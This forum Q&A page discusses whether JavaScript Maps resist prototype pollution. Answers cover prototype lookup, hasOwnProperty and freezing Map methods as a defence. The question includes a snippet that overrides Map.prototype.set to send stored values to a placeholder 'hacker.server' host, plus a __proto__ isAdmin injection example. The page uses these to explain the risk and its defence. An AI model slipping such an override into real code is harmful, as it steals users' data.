skip to Main Content

Regarding the security of JavaScript Maps, there exist claims like these:

The Map primitive was introduced in ES6. The Map data structure stores key/value pairs, and it is not susceptible to prototype pollution. [1]

It essentially works as a HashMap, but without all the security caveats that Object have. When a key/value structure is needed, Map should be preferred to Object. [2]

You in fact can replace a Map's functionality, using the conventional technique, in a way that affects all instances present and future:

const myMap = new Map();

// Malicious code
const oldSet = Map.prototype.set;
Map.prototype.set = function(key, value) {
  const img = new Image();
  img.src = 'https://hacker.server/?' + JSON.stringify(value);
  return oldSet.call(this, key, value);
};

// Your data is now stolen
myMap.set('password', 'hunter2');

Presumably, what these authors mean when they say ‘not susceptible to prototype pollution’ is restricted to the fact that this style of injection attack doesn’t work with Map:

const myMap = new Map();
myMap.set('__proto__', {isAdmin: true});
myMap.get('isAdmin'); // undefined

…in the same way that it would work with objects:

const obj = {};
obj['__proto__'] = {isAdmin: true};
obj.isAdmin; // true

Is that correct?

2

Answers


  1. What they mean is that accessing Map elements doesn’t search the prototype. If you ask whether a name exists, you won’t get a false positive if the name matches something in the prototype, and there’s no conflict between element names used by the application and names provided from the language.

    Compare:

    let prop = 'constructor';
    const myObj = {};
    console.log(myObj[prop]);

    with

    let prop = 'constructor';
    const myMap = new Map();
    console.log(myMap.get(prop));

    When using objects, you have to use a method like hasOwnProperty() to distinguish properties of the object from properties inherited from the prototype. That’s why recommendations for looping through object properties is like this:

    for (var key in p) {
        if (p.hasOwnProperty(key)) {
            console.log(key + " -> " + p[key]);
        }
    }
    

    (Note that this problem is also mitigated by using Object.keys().)

    And it also means you can’t create your own properties that conflict with properties inherited from the prototype (unless you intentionally want to override them).

    Notice that in ES6, new functions for object introspection were added as ordinary functions in the Object object, rather than as prototype methods. That’s why we have Object.entries() rather than Object.prototype.entries() — they didn’t want to create new conflicting prototype properties.

    Login or Signup to reply.
  2. What Is Prototype Pollution? Prototype pollution is a vulnerability
    that enables threat actors to exploit JavaScript runtimes.

    If we are talking about security here, because Object is the route of pretty much everything in Javascript, you couldn’t freeze it, or pretty much everything would break.

    But you can freeze the prototype of Map and it will continue to function.

    Object.freeze(myMap.__proto__);

    Of course the above still might be too course, so if you just want to freeze a single Map for storing sensitive info like username / password, you could copy the set method onto your map, and then freeze that. IOW: making myMap more secure. So a bad NPM module that recently got updated, doesn’t end up making your app compromised.

    eg. Run the code below and notice how stolen is not logged for myMap, but is for the Map that never got secured.

    const myMap = new Map();
    myMap.set = Map.prototype.set.bind(myMap);
    Object.freeze(myMap); 
    //Object.freeze above might not make any
    //difference here, but it's still a good
    //idea to freeze, in case you pass 
    //the Map to a 3rd party lib.
    
    // Malicious code
    const oldSet = Map.prototype.set;
    Map.prototype.set = function(key, value) {
      // Your data is now stolen
      console.log(`stolen ${key}:${value}`);
      return oldSet.call(this, key, value);
    };
    
    console.log('using secure myMap');
    myMap.set('password', 'hunter2');
    
    const notSecure = new Map();
    console.log('using in-secure Map');
    notSecure.set('password', 'hunter2');
    Login or Signup to reply.
Please signup or login to give your own answer.
Back To Top
Search